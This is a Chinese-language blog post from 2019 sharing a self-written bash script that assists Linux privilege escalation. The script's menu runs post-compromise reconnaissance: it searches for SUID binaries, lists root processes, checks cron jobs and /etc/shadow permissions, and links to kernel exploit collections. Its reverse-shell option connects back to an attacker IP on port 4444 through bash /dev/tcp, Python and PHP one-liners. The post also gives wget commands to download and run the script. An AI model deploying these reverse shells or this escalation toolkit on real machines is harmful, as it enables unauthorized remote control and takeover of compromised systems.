Linux辅助提权
前言
今天整理链接并发公众号的时候发现了,一个辅助Linux提权的shell脚本。看了也行还行,那么我也写一个好了
代码
#!/bin/bash
echo "A B C D E F G H I J K L N M"
jiet(){
echo "是否查询执行[1]/[2]"
read gsrc
if test $gsrc -eq "1"
then
clear
runs
elif test ${#gsrc} -eq "0"
then
clear
runs
else
echo "[!] 退出...."
exit 0
fi
}
fshell(){
echo "[1]NC反弹shell"
echo "[2]python反弹shell"
echo "[3]PHP反弹shell"
read input
if test $input -eq "1"
then
echo "在攻击机执行nc -lvp 4444"
echo "输入攻击机的IP"
read host
bash -i >& /dev/tcp/$host/4444 0>&1
elif test $input -eq "2"
then
echo "在攻击机执行nc -lvp 4444"
echo "输入攻击机IP"
read host
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('$host',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
elif test $input -eq "3"
then
echo "在攻击机执行nc -lvp 4444"
echo "输入攻击机IP"
read host
php -r '$sock=fsockopen("'$host'",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
fi
}
runs(){
wen_array=("https://www.cnblogs.com/linuxsec/articles/6080882.html" "https://guif.re/linuxeop" "https://www.ddosi.com/l/" "https://github.com/SecWiki/linux-kernel-exploits--Linux提权exp下载" "https:/ /shenaniganslabs.io/2019/02/13/Dirty-Sock.html" "https://www.secquan.org/Discuss/1069715" "https://www.cnblogs.com/hookjoy/p/6612595.html")
echo "[1] 查看系统基本架构和信息"
echo "[2] 本机IP查询"
echo "[3] 列出以root权限运行的进程"
echo "[4] 寻找系统里可以用的SUID文件"
echo "[5] 查看系统环境变量"
echo "[6] 查看/etc/passwd文件权限和/etc/shadow文件权限"
echo "[7] 计划任务"
echo "[8] 查看网络信息"
echo "[9] 一些不错的提权文章"
echo "[10] 反弹shell"
echo "[11] 退出"
read sum
if test $sum -eq "1"
then
echo "---系统版本信息---"
uname -a
echo "---系统架构---"
lsb_release -a
echo "---系统版本---"
cat /proc/version
jiet
elif test $sum -eq "2"
then
echo "---本机IP信息---"
ifconfig
jiet
elif test $sum -eq "3"
then
echo "---以root权限运行的进程---"
ps -fu root
jiet
elif test $sum -eq "4"
then
echo "---可用的SUID文件---"
find / -perm -u=s -type f 2>/dev/null
jiet
elif test $sum -eq "5"
then
echo "---PATH---"
echo $PATH
jiet
elif test $sum -eq "6"
then
echo "---passwd&&shadow"
ls -l /etc | grep passwd
ls -l /etc | grep shadow
jiet
elif test $sum -eq "7"
then
echo "---/etc内的计划任务---"
ls -l /etc/cron*
jiet
elif test $sum -eq "8"
then
echo "---网络信息---"
netstat -antup
jiet
elif test $sum -eq "9"
then
echo "---文章链接---"
for((i=0;i<${#wen_array[*]};i++)) do
echo ${wen_array[i]}
done
jiet
elif test $sum -eq "10"
then
echo "---反弹shell---"
fshell
jiet
elif test $sum -eq "11"
then
echo "Bye"
exit 0
fi
}
runs
运行例子
查看基本信息
本机IP查询
以root权限运行的进程
找出系统可用的SUID文件
查看系统环境
查看/etc/passwd和/etc/shadow的读取权限
查看/etc内的计划任务
查看网络信息
一些提权的文章
反弹shell
反弹测试
使用帮助
wget https://raw.githubusercontent.com/422926799/note/master/%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/Linux%E6%8F%90%E6%9D%83/%E7%94%A8%E4%BA%8E%E8%BE%85%E5%8A%A9%E6%8F%90%E6%9D%83%E7%9A%84sh/rsh.sh
chmod +x rsh.sh
./rsh.sh
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Linux辅助提权
本文作者:九世
发布时间:2019-07-27, 17:08:51
最后更新:2019-07-27, 17:33:33
原始链接:http://jiushill.github.io/posts/b406cd6c.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。